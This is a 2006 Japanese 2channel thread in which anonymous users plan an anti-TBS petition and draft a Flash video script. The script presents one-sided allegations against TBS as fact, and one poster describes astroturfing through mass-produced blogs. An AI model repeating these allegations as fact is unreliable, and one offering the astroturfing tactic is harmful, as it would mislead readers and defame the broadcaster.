「日々流される情報　わたし達は知らずに多くの情報に晒され意識・無意識に関わらず多くの選択をしています。
　もし今あなたの周りの情報が嘘で汚染されてるとしたら、あなたはどうしますか？
　わたしたちは正しい情報を求めています。」
　　　　　　　　　　　　　　　　　～報道の在り方を考えるインターネット有志の会～


＊“”内はテロップ

Aパート：導入部
“捏造、印象操作、歪曲、偏向、無責任”
“貴方はどれだけTBSの嘘を知っていますか？”
↓
Bパート：TBSの問題報道の列挙。問題部分の色を変えたり、効果音使ったり強調して下さい。
TBS“亀田の試合、疑惑の判定”→事実“6万件もの抗議を完全無視”
TBS“健康情報番組で紹介したダイエット法”→事実“中毒者多数、2000人以上に被害”
TBS“石原都知事「日韓併合の歴史を100%正当化するつもりだ」→事実「日韓併合の歴史を100%正当化するつもりはない」
TBS“ハイド議員「靖国に行くべきではないと強く思っている」→事実「靖国に行くべきでないと（強くは）思わない」
TBS“東条英機氏遺族「遺族としては不満もある」→事実「遺族としては不満もあるが、よく参拝してくれた」
TBS“旧石器捏造事件、「つくる会」に結びつける”→事実“全く無関係”
TBS“神栖町ヒ素汚染問題、日本軍の毒ガスが原因と断定的→事実“実際には民間企業の不法投棄”
TBS“731部隊の特集で安部官房長官の写真が写る”→事実“安部氏のイメージダウンの印象操作？”
↓
Cパート：問題喚起
“総務省に注意を受けても問題を繰り返すTBS”
“TBSには何か意図があっての事なのでしょうか？”
“もしあるとしたら、それにはどんな意図が？”
↓
Dパート:TBSの起こした事件、疑惑。おどろおどろしい感じでお願いします。
“オウム真理教への情報リーク”
“坂本一家惨殺の引き金”
“麻原の顔をサブリミナル手法で放映”
“オウム真理教幹部村井氏刺殺事件に関与疑惑”
“北朝鮮との共同謀議発覚、杉嶋氏の身代金要求に加担”
“杉嶋氏「北朝鮮側の情報操作の受け皿がＴＢＳ」”

↓
Eパート：署名協力のお願い
“私達は日本の為の公正で嘘のない報道を求めています”
“報道に真実を取り戻す為、貴方のお力をお貸し下さい”
“ＴＢＳの放送免許剥奪を求める陳情署名受付 http://www.powup.jp/sign/tbs.aspx”
0603エージェント・７７４2006/08/31(木) 01:29:45ID:zudsTviW
>>597
ネットでの署名活動は情報が広まるのが早いので、初期の伸び率は高いのですが、
その後、急に頭打ちになって伸びないのですよ。
ですので、このまま続けても追加燃料をTBSが投下しない限りは2万到達は難しいですね。
その辺は予算次第というのもありますが。
0604エージェント・７７４2006/08/31(木) 01:29:51ID:8Q6PGAAB
>>602
フラッシュどうします？
早めの〆切決めて誰かコテがフラ板に依頼することにしないとズルズルになるかと思いますが。
0605エージェント・７７４2006/08/31(木) 01:30:41ID:y6IEq1Nd
>>602
フラッシュ案を決めるのは、
今後の細かな行動が決まってからのほうがいいのではないでしょうか？
0606エージェント・７７４2006/08/31(木) 01:31:12ID:Uc1P2aL5
FLASH案とか
考える気にならん
0607エージェント・７７４2006/08/31(木) 01:31:34ID:qZBcglLr
>>604
インターネット有志の会と署名urlってフラッシュに入れるのか？
一旦あの二人が〆るのをまった方がよくないか？
0608エージェント・７７４2006/08/31(木) 01:34:22ID:N3zzZTTx
で、今までのカンパ金をｲﾗﾈが新しいリーダーに渡すと思う？
0609エージェント・７７４2006/08/31(木) 01:34:32ID:Uc1P2aL5
両氏不信任ならそれで
けじめは必要だよ

0610エージェント・７７４2006/08/31(木) 01:34:32ID:eP4DGdIE
FLASH案は署名活動の継続のあるなしで変わっちゃうんじゃない？
会の名前も変わる可能性あるかもしれんし・・・
0611エージェント・７７４2006/08/31(木) 01:35:17ID:NMBCTEiY
てか結果がすぐ出るもんでもないしオフ向きじゃないだろ、そもそもこれ。

たとえば目的をＴＢＳ批判を世間に知らしめるってのにすれば、
一発派手に面白く騒げばいい。
0612エージェント・７７４2006/08/31(木) 01:35:42ID:eP4DGdIE
>>608
いあ、そもそも赤字みたいだしｗ
0613エージェント・７７４2006/08/31(木) 01:35:58ID:y6IEq1Nd
>>603
なるほど。

限られた時間でネット外にうまく情報を広げられなければ、
ネット署名は失敗するということですね。

電車の車内広告などは効果はありそうですが、
費用がかかりすぎるんでしょうねぇ…。
0614うめ2006/08/31(木) 01:36:11ID:YPbQgNDm
>>611
そも署名もデモも戦術の一つでしかないんでは？
署名やデモしないならリーダーも必ずしも必要ない。
ν速は凸主体でいきたかったので両名が反発喰らったとか、
誰か書いてなかたか？？
0615エージェント・７７４2006/08/31(木) 01:36:23ID:8Q6PGAAB
>>607
どうなんでしょ、このオフとは別活動にするって案？
イラネは一応フラッシュには賛成してる。
今生き残っている運営コテってMr48以外にいたかな、
ちょっと下がってタヌキと流石くらいか？
0616エージェント・７７４2006/08/31(木) 01:36:28ID:p75ZqDMw
いまさら信頼えられるのは４８１、タヌキ、ウチワくらいだろ。
かといって奴らがリーダーやるとも思えん。
ドクロたんがやれば盛り上がりそうな気もするが・・・
0617(　；∀；) ｲｲﾊﾅｼﾀﾞﾅｰ2006/08/31(木) 01:37:33ID:fGThuXu4

337 ：流石 ◆SaSuGacSo2 ：2006/08/30(水) 03:03:23 ID:eYGt+/IbO
Flash作れないこともないが、時間と暇が無い
誰か就職口紹介してくれて内定貰えれば暇ができるけどね

イラネのところへ就職しろとか言うなよ？
ピックルなんて論外だし、職業右翼なんてごめん被る
0618エージェント・７７４2006/08/31(木) 01:37:54ID:537ySGPD
>>608
負債をか？
0619エージェント・７７４2006/08/31(木) 01:38:01ID:wnYdH8T2
>>608
ってか、赤字だから渡す金もないんだろうよ。
もし、残るなら鳥取人権スレかどこかにカンパしてやればどうだろ？
0620エージェント・７７４2006/08/31(木) 01:38:06ID:6bM/7yjs
依頼用テンプレート

【依頼テーマ】（例）～株板存続の危機から分割へ～
【概　 　 　要】（例）昨日の株式板の騒動についてＦＬＡＳＨを作って下さい
　　　　　　　　　　　　　　　以下略
【仕　様　曲 】　（例）職人さんにおまかせします。(又は、●●という曲がイメージに合うのですが)
【納品.サイト】　●●板の○○スレッド//又は、ttp://www.seisakuirai.2ch.net
【そ　の　他 】　

依頼テーマと概要はいいとして、仕様曲と納品.サイト決めないとね
納品.サイトはイラネあたりに決めてもらった方がいいかも

>>607
納品先の件もあるし一度はちゃんと聞かないと駄目だな
0621エージェント・７７４2006/08/31(木) 01:38:39ID:eP4DGdIE
>>616
ドクロは潰されたからもう出てこないっしょ？
0622エージェント・７７４2006/08/31(木) 01:39:08ID:Uc1P2aL5
とりあえず
全面的に白紙撤回ってほうがよくないか
で、イラネKN両氏にはきちんと声明もらって終了。
この流れはいったん断ってしまったほうがいいよ
0623エージェント・７７４2006/08/31(木) 01:39:41ID:NMBCTEiY
だから目的がＴＢＳをつぶすなり報道姿勢の変更を実現させるなり
そんな長期的なものにしてるからだろ。
集団の活動をある目的で継続的にするなら集団は組織にならにゃならんし、
組織になって運動続けるのはオフじゃねえだろ。

デモでもなんでもいいがＴＢＳ批判を派手に面白くやりゃいいだろ。
0624エージェント・７７４2006/08/31(木) 01:39:48ID:ZqX3DDCF
>>622
白紙撤回？
0625うめ2006/08/31(木) 01:40:34ID:YPbQgNDm
>>621
何があったんだよ

>>622
TBSを今どうこうする緊急性は薄かったし
他にもっと緊迫してる局地戦はあるはず
0626エージェント・７７４2006/08/31(木) 01:42:48ID:8Q6PGAAB
>>622
じゃあ次にイラネなりMr48なりが出てきた時にフラッシュの見解を聞くってことでどうだろう。

>>621
タチの悪いν速民にレイプされた。
0627エージェント・７７４2006/08/31(木) 01:43:02ID:lt3UtM5F
ドクロは本人次第だよ。活動家になるなら思想信条に関わる情報は
極力公の場以外で発信しないこと。この世界でぶれる人は誰も信用されないから。
一賛同者になるならば表に出ないこと。
0628エージェント・７７４2006/08/31(木) 01:43:19ID:eimBrG6l
個人攻撃はやめたのか
0629エージェント・７７４2006/08/31(木) 01:43:38ID:eP4DGdIE
>>625
個人特定されて晒されてたよ
0630エージェント・７７４2006/08/31(木) 01:43:42ID:y6IEq1Nd
仮にフラッシュを作ってもらうにしても、
タダというわけにはいきませんよね。

今はオフの今後が定まっていない状況なので、
フラッシュは後回しにしたほうがいいのでは？
0631エージェント・７７４2006/08/31(木) 01:45:17ID:zudsTviW
>>613
マス板スレで捨てゼリフを残して去ったはずなのですが、ｲﾗﾈ氏があまりにも
核心を突く質問をスルーしていたので、ついつい本スレに書き込んでしまいました。
基本的に左の人間なので、私のレスについてはその辺を割り引いてご判断ください。

ネット中心ということならば左翼のノウハウでは、個人ホームページ乱立が一般的です。
イラク戦争反対キャンペーンでも、大量生産していました。今ならブログでしょうか。
これには大勢の人が賛同していると思わせる効果もあります。

少人数を大勢に見せているので自作自演ともいうのですが、ネット署名の
頭打ち状態を突き抜けることはできます。
それ以外は、"低予算の”ネット活動でうまくいったという話はあまり聞きません。

あと、どうでもよいことですが、FLASH案は誤字や表記の揺れが多いですし、
一度、見直されたほうがよろしいかと。
0632エージェント・７７４2006/08/31(木) 01:46:42ID:ZSOQG2Hm
とりあえず、FLASHを一回テンプレを渡してふら板に、依頼にいきませんか？
0633エージェント・７７４2006/08/31(木) 01:47:00ID:6bM/7yjs
コンピューターミュージック専門サーチエンジン
http://www.musicdata.jp/

ここでフリーで制限なく使えるの探せないかな？
0634エージェント・７７４2006/08/31(木) 01:48:05ID:PvQ5r3ZN
どうせならカンパ金でFLASH作ればいいのに
0635グローザー監督 ◆A.fcsPVo8c 2006/08/31(木) 01:48:25ID:/tsR25kT
>>631
検討すべき価値はあるだろうな。
ログ保存しとくよ。
0636エージェント・７７４2006/08/31(木) 01:49:19ID:eP4DGdIE
>>634
その金がないらしい。ってか大赤字らしいよｗ
0637エージェント・７７４2006/08/31(木) 01:49:21ID:6bM/7yjs
>>632
その方がいい気がするよ
もしかしたら音や絵は職人さんの方でつけてもらえるかも知れないし
0638エージェント・７７４2006/08/31(木) 01:49:49ID:8Q6PGAAB
>>631
イラネとＫＮは実名晒しているから今話題のオーマイニュースに投稿する手もありますね。
0639エージェント・７７４2006/08/31(木) 01:50:57ID:Uc1P2aL5
>>627
>ドクロは本人次第だよ。活動家になるなら思想信条に関わる情報は
極力公の場以外で発信しないこと。この世界でぶれる人は誰も信用されないから。
一賛同者になるならば表に出ないこと。

↑何これ。
この世界ってどの世界？　右翼政治結社世界？




0640エージェント・７７４2006/08/31(木) 01:51:42ID:eP4DGdIE
>あと、どうでもよいことですが、FLASH案は誤字や表記の揺れが多いですし、
>一度、見直されたほうがよろしいかと。

ってあるから見直ししてからの方がいいのかな？
0641エージェント・７７４2006/08/31(木) 01:52:41ID:X/Fo1aBE
リーダーとやらがでてこないのは当たり前ですよ。
人から金かき集めて活動費にして、監査はどんぶり勘定で
デモの参加者どころか運営スタッフすら身元が把握できず
運営の不手際の責任を誰も取らなくていいから、うさんくさい
政治ゴロがこれ幸いと飛びついたわけで。
まともな人なら2chで政治活動をとりしきるなんてやらないでしょう。
匿名の人間の責任まで肩代わりしなきゃならんし。

あとインターネット有志の会って代表誰？
会なんだよね？
0642エージェント・７７４2006/08/31(木) 01:52:54ID:lt3UtM5F
>>639
いや銀河系のお話
0643エージェント・７７４2006/08/31(木) 01:53:29ID:zudsTviW
>>635
どうぞご活用ください。
ただし、左の人間がそのような工作活動ばかりしているという宣伝目的での使用は
極力控えていただければと思います。
当然、右の方などもなさっておられますので、この発言も引用の仕方によっては、
不毛な工作合戦を煽ることになりかねません。

基本的に、汚い政治工作活動全般に否定的なので、この活動に関心を持った
わけですので、あくまで「できれば」ですが、活動の目安としてのみご利用
いただければ幸いです。
0644エージェント・７７４2006/08/31(木) 01:53:33ID:20OzmmZV
賛同者を集めて、徹底的に体を鍛えるんですよ。
で、オリンピックに出てメダルを取ってインタビューマイクを
向けられたら、それぞれが生放送でTBSを批判する。

これやったら、一大ムーブメントになりますよ。
0645エージェント・７７４2006/08/31(木) 01:54:43ID:6bM/7yjs
ご意見募集中！ 誤字などの指摘もお願いします！
【Flash案】

最初に
「日々流される情報　わたし達は知らずに多くの情報に晒され意識・無意識に関わらず多くの選択をしています。
　もし今あなたの周りの情報が嘘で汚染されてるとしたら、あなたはどうしますか？
　わたしたちは正しい情報を求めています。」
　　　　　　　　　　　　　　　　　～報道の在り方を考えるインターネット有志の会～


＊“”内はテロップ

Aパート：導入部
“捏造、印象操作、歪曲、偏向、無責任”
“貴方はどれだけTBSの嘘を知っていますか？”
↓
Bパート：TBSの問題報道の列挙。問題部分の色を変えたり、効果音使ったり強調して下さい。
TBS“亀田の試合、疑惑の判定”→事実“6万件もの抗議を完全無視”
TBS“健康情報番組で紹介したダイエット法”→事実“中毒者多数、2000人以上に被害”
TBS“石原都知事「日韓併合の歴史を100%正当化するつもりだ」→事実「日韓併合の歴史を100%正当化するつもりはない」
TBS“ハイド議員「靖国に行くべきではないと強く思っている」→事実「靖国に行くべきでないと（強くは）思わない」
TBS“東条英機氏遺族「遺族としては不満もある」→事実「遺族としては不満もあるが、よく参拝してくれた」
TBS“旧石器捏造事件、「つくる会」に結びつける”→事実“全く無関係”
TBS“神栖町ヒ素汚染問題、日本軍の毒ガスが原因と断定的→事実“実際には民間企業の不法投棄”
TBS“731部隊の特集で安部官房長官の写真が写る”→事実“安部氏のイメージダウンの印象操作？”
↓
Cパート：問題喚起
“総務省に注意を受けても問題を繰り返すTBS”
“TBSには何か意図があっての事なのでしょうか？”
“もしあるとしたら、それにはどんな意図が？”
↓
Dパート:TBSの起こした事件、疑惑。おどろおどろしい感じでお願いします。
“オウム真理教への情報リーク”
“坂本一家惨殺の引き金”
“麻原の顔をサブリミナル手法で放映”
“オウム真理教幹部村井氏刺殺事件に関与疑惑”
“北朝鮮との共同謀議発覚、杉嶋氏の身代金要求に加担”
“杉嶋氏「北朝鮮側の情報操作の受け皿がＴＢＳ」”

↓
Eパート：署名協力のお願い
“私達は日本の為の公正で嘘のない報道を求めています”
“報道に真実を取り戻す為、貴方のお力をお貸し下さい”
“ＴＢＳの放送免許剥奪を求める陳情署名受付 http://www.powup.jp/sign/tbs.aspx”
0646グローザー監督 ◆A.fcsPVo8c 2006/08/31(木) 01:54:56ID:/tsR25kT
>>640
内容を詰めることは絶対に必要だろうな。
相手が放送局である以上、穴があれば直ちにつっこまれるという覚悟はしておくべきだ。

まず作って、それからというのでもいいが、別にスレを立てるなりなんなりして内容を話しあうべきだろう。
徒然氏がこうしたものには詳しかったはず。
誰かどこかで見かけたら呼び出してもらえると助かるな。
0647グローザー監督 ◆A.fcsPVo8c 2006/08/31(木) 01:56:40ID:/tsR25kT
>>643
いや、左右関係なくあの案は優れていると思った。
それ以外には何も感じてはいない。
0648エージェント・７７４2006/08/31(木) 01:57:01ID:y6IEq1Nd
>>631
ご意見参考になります。

オフ賛同者は時間に余裕がある人ばかりではないでしょうから、
ブログ乱立は難しいでしょうね。

となると、既存のブロガーさんに賛同者を増やすくらいしか方法は無いですね。

8月20日頃まではオフに賛同したブロガーさんが
バナーをはったりしててくれたんですけどねぇ。
0649エージェント・７７４2006/08/31(木) 01:57:33ID:Uc1P2aL5
>>活動家になるなら思想信条に関わる情報は
極力公の場以外で発信しないこと。この世界でぶれる人は誰も信用されないから。
一賛同者になるならば表に出ないこと。

こんな書き込みが
誤解招いてると思うのだがな
俺もちょっとびっくりしたし
0650グローザー監督 ◆A.fcsPVo8c 2006/08/31(木) 01:58:43ID:/tsR25kT
ＦＬＡＳＨは動き出したようだが、それ以外で何か活動の提案をしていた香具師、そっちはどうなっているんだ？
ティッシュ配りとかビラ配りとか出ていたはずだが。
現状どうなっているか教えてくれ。
0651エージェント・７７４2006/08/31(木) 02:00:58ID:lt3UtM5F
>>649
なにを誤解してるのかね、kwsk解説してくれた前
0652エージェント・７７４2006/08/31(木) 02:01:15ID:20OzmmZV
ティッシュは受け取らんけどなー

ホットペッパーのキャンペーンでうまい棒のようなものを
配っていたのだが、あれは受け取るな。
0653うめ2006/08/31(木) 02:01:17ID:YPbQgNDm
>>650
newリーダー誕生だな
0654エージェント・７７４2006/08/31(木) 02:01:20ID:ZqX3DDCF
>>650
ティッシュ配りに関しては、金銭面でとりあえず様子を見ましょうという流れ。

0655エージェント・７７４2006/08/31(木) 02:03:32ID:zudsTviW
>>645
恐らく、一番目を引く部分の、導入メッセージについてですが、
意識・無意識は「意識的・無意識的」ですし、できれば「意識するしないに関わらず」
くらいソフトにしたほうがよろしいかと。
わたし達　わたしたち　と初っ端から表記が揺れていると、適当に書いている文章と
思われがちです。

それ以前に、文章全体がおかしいですし、全般的に硬い言葉づかいも硬すぎるかも
しれません。

>>647
ネットの政治活動は10年以上前からやっていますから、それなりにノウハウは蓄積
されていますね。
私が2ch工作を依頼を最初にもちかけられたのは（もちろん丁重に断りましたが）、
前世紀のことですし。
保守系からの依頼はそれから遅れること大分たった今世紀のことです。
まぁ、どっちもどっちというものですね。
0656エージェント・７７４2006/08/31(木) 02:04:16ID:6bM/7yjs
ＦＬＡＳＨは誤りがないかチェックしてイラネに会の名前使う件の了承と納品先決めてもらったら依頼に行くでOKかな？
0657エージェント・７７４2006/08/31(木) 02:04:46ID:Bgcw6jYq?2BP(7)
>>645

>>112もお願いしたいなぁ
0658エージェント・７７４2006/08/31(木) 02:04:56ID:Uc1P2aL5
活動家スカウトの側面があったのか
これは
0659エージェント・７７４2006/08/31(木) 02:05:57ID:zudsTviW
>>655
文章の誤りを指摘しておきながら、自分のレスは日本語がボロボロですね。
今も仕事中なので片手間で申し訳ないです。
0660エージェント・７７４2006/08/31(木) 02:06:07ID:y6IEq1Nd
会計についての疑惑に決着が付くまでは、
金銭が絡むような活動は控えたほうがいいと思う。

今現在、かなりの赤字になってるってのもあるし。

何か久しぶりに静かでマトモなスレになってるねぇ。
0661エージェント・７７４2006/08/31(木) 02:07:32ID:8Q6PGAAB
>>656
賛成ﾉｼ
フラッシュ板に作成を依頼するのってお金がいるんですか？
無料でしてもらえるようなイメージがあるのですが。
0662エージェント・７７４2006/08/31(木) 02:10:56ID:y6IEq1Nd
>>661
フラ板職人に無償で頼むというのは気が引けるんですが。

無料で頼めるような心当たりでもあるのでしょうか？
0663エージェント・７７４2006/08/31(木) 02:12:14ID:7sXoCAnU
>>655
こんなことを書くと半年ロムしろｗと言われそうだけど
２ちゃんで工作活動して意味あるの？（すべての情報が嘘だとは思わないけど）
２ちゃん情報を信じるやつはあほｗというのが自分達の周りではFAなんだけど。
0664エージェント・７７４2006/08/31(木) 02:13:46ID:lt3UtM5F
>>663
半年ロム　正解
0665エージェント・７７４2006/08/31(木) 02:14:00ID:6bM/7yjs
>>661-662
無料だけど作ってくれるとは限らないよ
0666グローザー監督 ◆A.fcsPVo8c 2006/08/31(木) 02:15:46ID:/tsR25kT
>>663
信じて裏切られるなら、信じられるに足る事実を掴むまで信じないのが正しいだろう。
別に無理に信じろとは言わない。
0667エージェント・７７４2006/08/31(木) 02:17:28ID:8Q6PGAAB
>>662
このスレを眺めた限りでは報酬のやりとりはないようですが。
プロに発注するという話ではないですよね？

☆製作依頼☆ 統合スレッド ver6.0
http://pc8.2ch.net/test/read.cgi/swf/1124295693/
0668グローザー監督 ◆A.fcsPVo8c 2006/08/31(木) 02:17:40ID:/tsR25kT
>>653
俺にはそこまでのことはできんしやるつもりもないよ。
器じゃない。
横からいろいろと言うのが俺のスタイルだな。
0669エージェント・７７４2006/08/31(木) 02:19:40ID:zudsTviW
>>663
難しいところですね。
10年前にはじめて、今でもやっているので当人達は効果があると思っているのでしょう。
もちろん、工作というのは嘘を書くこととイコールではありません。
自分達が正しいと信じている情報を広めるという場合もあるので、とげの無い表現を
選べば宣伝活動ということにもなります。
0670エージェント・７７４2006/08/31(木) 02:20:37ID:y6IEq1Nd
ふと思ったのですが…

フラッシュを見て署名してくれそうな人達というのは、
既にＴＢＳの件を十分すぎるくらい知っていそうな気もしますね。

1万4000人よりさらに署名数を増やすという目的でフラッシュを作るのなら、
それはあまり成功しないだろうと思いますが、どうでしょう？
0671グローザー監督 ◆A.fcsPVo8c 2006/08/31(木) 02:21:24ID:/tsR25kT
>>654
どうもありがとう。
では、金銭の絡まない部分は進められるのでは？
折り込みチラシのデザインくらいは完成させていたほうが後々動きやすいと思う。

>>660
私はここまでやってきた両氏を信じるが、敵に隙を見せないという意味ではそれも正しいかもしれない。
ただ守りに入るのだけは避けるべき。
守りに入ると途端に動きが鈍くなってそこで終わってしまうからね。
とりあえず、何でもいいから動いていよう。
0672エージェント・７７４2006/08/31(木) 02:21:27ID:lt3UtM5F
>>668
ｲﾗﾈ擁護の為に来たのか？
無駄だからやめておけ！
本人が誠実な態度を取らない限り人権OFFに誘わないほうがいいよ。
0673エージェント・７７４2006/08/31(木) 02:22:08ID:7sXoCAnU
>>666
２ちゃん情報は参考程度にとどめてる。
色んな情報が２ちゃんには、あふれているけど、それをどう読むかは読み手の自由。
信じる、信じないのも、その人の自由だよね。
0674エージェント・７７４2006/08/31(木) 02:25:09ID:BQ8NdqcA
だいぶ遅れて今ざっと読んだ
政治色を弱めるって流れであってる？
0675エージェント・７７４2006/08/31(木) 02:28:13ID:zudsTviW
私が、去ったはずのこのスレに戻ってきたのは、ｲﾗﾈ氏のレスにどうしても
コメントせずにはいられなかったためなのに、自分で話を逸らしてしまっていますね。

繰り返しになりますが私の意見は、ニュー速住民と基本的に同じで、
・監査OFFのようなパフォーマンスはいらないので、帳簿と業者とのやり取りを証明する
請求書等のペーパーのすべてのWeb上での公開
・街宣車のレンタル元を明らかにする
・協力体制を表明した右翼団体に抗議
の3点です。

それから逃げ続けるのでしたら、少なくとも私個人は、会計で不正があった、
右翼団体との不適切な関係があったと考えるという立場です。
0676エージェント・７７４2006/08/31(木) 02:29:34ID:eP4DGdIE
麻原サブリミナルの件
http://homepage1.nifty.com/home_aki/city03-sub.htm

どうも日テレのようだが？TBSでもあったのか？
0677エージェント・７７４2006/08/31(木) 02:30:00ID:DR//mcnP
金の管理もできないバカに個人情報入り署名を送りたいと思うやつはいない
0678エージェント・７７４2006/08/31(木) 02:30:22ID:BQ8NdqcA
>>676
溯ってみてくれ　誰かソース提示してくれたと思う
0679エージェント・７７４2006/08/31(木) 02:30:39ID:uP92fvNx
TBSの面白グラフの画像どっかに無い？
0680グローザー監督 ◆A.fcsPVo8c 2006/08/31(木) 02:31:04ID:/tsR25kT
>>670
署名が活きるような内容にするのがいいだろうね。
これだけの署名が集まりました、ということを踏まえ、見た人間が賛同してくれ、自分のできることをしてくれるようになるような内容にすべきだと思う。

>>672
彼のことは彼が決着をつける問題。
私がいろいろ言うことじゃない。
>>668は私は自分は無責任なことはできない、と言っているだけだ。


それから>>652、これは参考にさせてもらうよ。
食べ物をつけるのは向こうの攻撃材料になりそうだからやめたほうがいいとしても、何か付加価値があると受け取ってもらえる率も上がるだろう。何かいい案はないかな。

>>675
右翼団体、と言うと聞いてもらえない可能性もあると思う。
政治団体、と言うべきでは。
0681エージェント・７７４2006/08/31(木) 02:31:28ID:y6IEq1Nd
>>671
私はＫＮ、イラネ両氏を信頼することはできないですね。特にＫＮ氏。
ただ、ＴＢＳの報道には疑問があって、
署名の趣旨に賛同できる部分があるのでこのスレに書き込んでいます。


それと、「敵」とか「工作員」という言葉に抵抗を感じてしまう人も多いと思うので、
オフスレでは控えたほうがいいのでは？

例えば普段２ｃｈを見ない人がこのオフスレを見た時、
「敵」とか「工作員」という言葉が踊っていたら、
敬遠したくなるでしょうし。
0682エージェント・７７４2006/08/31(木) 02:31:48ID:NMBCTEiY
着々と運動団体化の方向にいってるように見えなくもないが。
0683エージェント・７７４2006/08/31(木) 02:32:09ID:eP4DGdIE
>>678
ああ、あったみたいだ。
http://www.hss.ocha.ac.jp/psych/socpsy/akira/media/sub.htm
0684エージェント・７７４2006/08/31(木) 02:33:52ID:lt3UtM5F
>>680
それならこの活動に首をつっこまないでください。
あなたのやってる活動まで胡散臭く感じてくる。
それだけは止めてください。
0685エージェント・７７４2006/08/31(木) 02:34:16ID:BQ8NdqcA
斜め読みしたので間違ってるかもしれないが
活動を周知か署名に絞るという話でいいのかな？
それと政治色弱めるという意見もでてたけど
0686グローザー監督 ◆A.fcsPVo8c 2006/08/31(木) 02:34:24ID:/tsR25kT
>>681
それは失礼。
私も気をつけよう。
0687エージェント・７７４2006/08/31(木) 02:38:20ID:7sXoCAnU
>>669
そうなんだ。レス、ありが㌧。

運営が領収書を公開しないことに関して（OFFでは公開するらしいけど）
税務署の職員さんは、「公開する義務はないと言っても（公開する）道義的責任は
あるでしょうね。」と、おっしやっていたけど、

あなたは、どう思う？
0688エージェント・７７４2006/08/31(木) 02:38:35ID:ZqX3DDCF
>>680
付加価値ですか。
キャンディー付きのビラを受け取ったことがあるんだけど、
何か付いているとうれしいかも知れません。

0689エージェント・７７４2006/08/31(木) 02:38:49ID:zudsTviW
>>680
そこは逃げ道を残したつもりです。
この活動が掲げた理念を厳格に取れば、政治団体では「パワーアップ」まで
対象になりますから。

右翼団体の件は、個人参加とか甘いことを言わないほうが今後のためだと
思われます。
逆に言うと、あのレベルの関与を個人参加と言い切るのでしたら、大抵の左翼系
市民運動は２、３人の活動家が紛れ込んでいる以外は、一般人ばかりなので、
どこも中立ということになります。
0690エージェント・７７４2006/08/31(木) 02:39:55ID:wnYdH8T2
>>688
非常にアレなんだけど
キャンディ付きのやつは俺の中ではものすごーーくイメージ悪い。
食い物は外した方がいいな。
0691エージェント・７７４2006/08/31(木) 02:41:21ID:S2TG0MoT
おまえらはカモなんだよ

カモはもっと自らネギとだし汁入った鍋しょってやって来るもんだ。
もっとこう「詐欺」だのなんだの言えよ！
0692エージェント・７７４2006/08/31(木) 02:41:58ID:ZqX3DDCF
>>690
別に食べ物にこだわらなくても良いですよ。
0693エージェント・７７４2006/08/31(木) 02:45:31ID:zudsTviW
>>687
左翼系だと、利子まで教えて欲しいとおっしゃる方がいたという話も聞いたことが
あります。
2chでお花畑と揶揄されるだけあって、あちらの会計は一部の活動資金目当ての
集会以外は極めて誠実ですよ。

個人的な考え方については、同義的責任というよりも義務だと思います。
その辺の責任が発生するような返事をしてはならないと決められている
税務署の職員が「道義的責任」という言葉を選んだのですから、ニュー速の感覚
は間違えていないと思います。
0694グローザー監督 ◆A.fcsPVo8c 2006/08/31(木) 02:48:09ID:/tsR25kT
>>689
団体関係者の参加については今後各現場責任者の判断であると思う。
私にはどうにも言いようがない。
いわゆる左翼団体の市民運動と称するものの現場も私は知らないことだし。

>>688
>>690
物をつけるなら無難なところとしては「しおり」だとかだろうか。
しおりなら簡単に作ることができるし、宣伝文も書き込める。

食べ物は悪くなっていたりしたら目も当てられないことになるから止めておくべきだろうね。

物をつけないとしたら、大きいとか内容量が多いとか、入れ物が丸くて特徴的だとか。
そういったところで目を引くのがいいと思う。
0695エージェント・７７４2006/08/31(木) 02:48:48ID:y6IEq1Nd
>>689
あの団体関係者が参加することになった経緯については、
ＫＮ氏とイラネさんの説明では納得し難い部分が多々ありますよね。

事前に国民新聞の方から電話があった時点でお断りするのが普通の対応だと思いますが、
出来ないのならこのスレに告知すべきでしたね。
0696グローザー監督 ◆A.fcsPVo8c 2006/08/31(木) 02:50:47ID:/tsR25kT
悪いがそろそろ落ちる。
おやすみなさい。
0697エージェント・７７４2006/08/31(木) 02:51:50ID:y6IEq1Nd
>>696
お疲れ様です　ﾉｼ
0698エージェント・７７４2006/08/31(木) 02:52:30ID:BQ8NdqcA
（ ﾟДﾟ）乗り遅れたままで終わったか･･･
0699エージェント・７７４2006/08/31(木) 02:52:40ID:lt3UtM5F
>>694
羽柴宇土侍従が以前のコテだと聞いたのですが本当ですか？
宇土というと熊本賢人ですか？
0700エージェント・７７４2006/08/31(木) 02:53:02ID:ZqX3DDCF
>>694
本当はティッシュつきのビラも受け取ったことあるんですが予算的にはきついですね。
食べ物に関してはその通りです。
「しおり」は良いかもしれません。
これから読書の秋に季節が変わって行きますからね。＾＾


0701エージェント・７７４2006/08/31(木) 02:54:58ID:wnYdH8T2
とりあえずイラネ氏とKN氏が今後どうするのか聞く方がいいな。
0702エージェント・７７４2006/08/31(木) 02:57:14ID:y6IEq1Nd
イラネさん他、一部の運営コテさんが来ないうちに、
色々とまとめておきたいですねぇ。

来ると、売り言葉に買い言葉で荒れちゃって、
オフの話が出来なくなるし。
0703エージェント・７７４2006/08/31(木) 03:00:00ID:lt3UtM5F
>>702
おまい責任者に一票ﾉｼ
0704エージェント・７７４2006/08/31(木) 03:00:20ID:ZqX3DDCF
>>696
お疲れ様でした。
0705エージェント・７７４2006/08/31(木) 03:02:13ID:wnYdH8T2
>>702
もちろん同意だが、あの二人がケジメをつける必要はあるよ。
0706エージェント・７７４2006/08/31(木) 03:11:31ID:4ApvJk1T
おぉ粛清だな
ＫＮイラネがおまえたちのがんばりをダメにしたんだな
責任は全部２人にということだな
ケジメがんばれよ
0707エージェント・７７４2006/08/31(木) 03:15:49ID:y6IEq1Nd
>>703
土日は仕事なので、責任者は無理っぽ。

責任者を交代しちゃったら、署名は破棄することになりますし。

>>705
ケジメ･･･責任者を辞める程度では済まないのでしょうしねぇ。
ＫＮ氏の場合は内輪だけでは済まない感じがしますね。
訴訟とか警察沙汰に巻き込まれるのは嫌だなぁ…。

何かＫＮ氏とイラネさんは何のためにこのオフを立ち上げたのか解らないですよね。

署名の趣旨とはかなり異なる発言ばかりしてるし。
0708エージェント・７７４2006/08/31(木) 03:20:03ID:vCr7CC0V
>>660
>何か久しぶりに静かでマトモなスレになってるねぇ。

ヘタレばっかりだからなぁ。
0709エージェント・７７４2006/08/31(木) 03:24:56ID:spzdWiHa
人減ってるからかな
いいいよ多数派工作でつね
責任者追い出してｸﾞﾀﾞｸﾞﾀﾞか
何もしないやつらががんばってるヤツを笑うか
( ´,_ゝ`)　ﾌﾟ
0710エージェント・７７４2006/08/31(木) 03:25:57ID:ZqX3DDCF
ケジメねぇ。


